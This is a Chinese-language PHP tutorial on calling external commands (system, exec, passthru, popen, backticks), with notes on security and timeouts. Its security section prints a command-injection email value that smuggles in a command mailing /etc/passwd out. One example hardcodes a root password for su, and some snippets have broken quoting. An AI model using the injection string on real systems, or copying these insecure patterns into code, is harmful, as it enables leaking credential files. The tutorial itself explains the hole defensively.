PHP提供了system(), exec(), passthru()这几个函数来调用外部的命令.
他们的区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。
相同点：都可以获得命令执行的状态码

在PHP中调用外部命令，可以用如下三种方法来实现：

1） 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。

system()
原型：string system (string command [, int return_var])
system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：

system("/usr/local/bin/webalizer/webalizer");

exec()
原型：string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array 可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二 个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：

exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);

passthru()
原型：void passthru (string command [, int return_var])
passthru ()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus （Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：

header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");

2） 用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一 的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。
例子1：

$fp=popen("/bin/ls -l", "r");

例子2

/* PHP中如何增加一个系统用户
下面是一段例程，增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：

$res='/bin/ls -l';
echo '
'.$res.'
';

这个脚本的输出就象：

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考虑些什么？
要考虑两个问题：安全性和超时。
先 看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地 址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样：

system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱：$to";

用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：

'--bla ; mail someone@domain.com < /etc/passwd ;'

那么这条命令最终变成：

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸 好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入 （<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串 就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运 行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中，如：

system("/usr/local/bin/order_proc > /tmp/null &");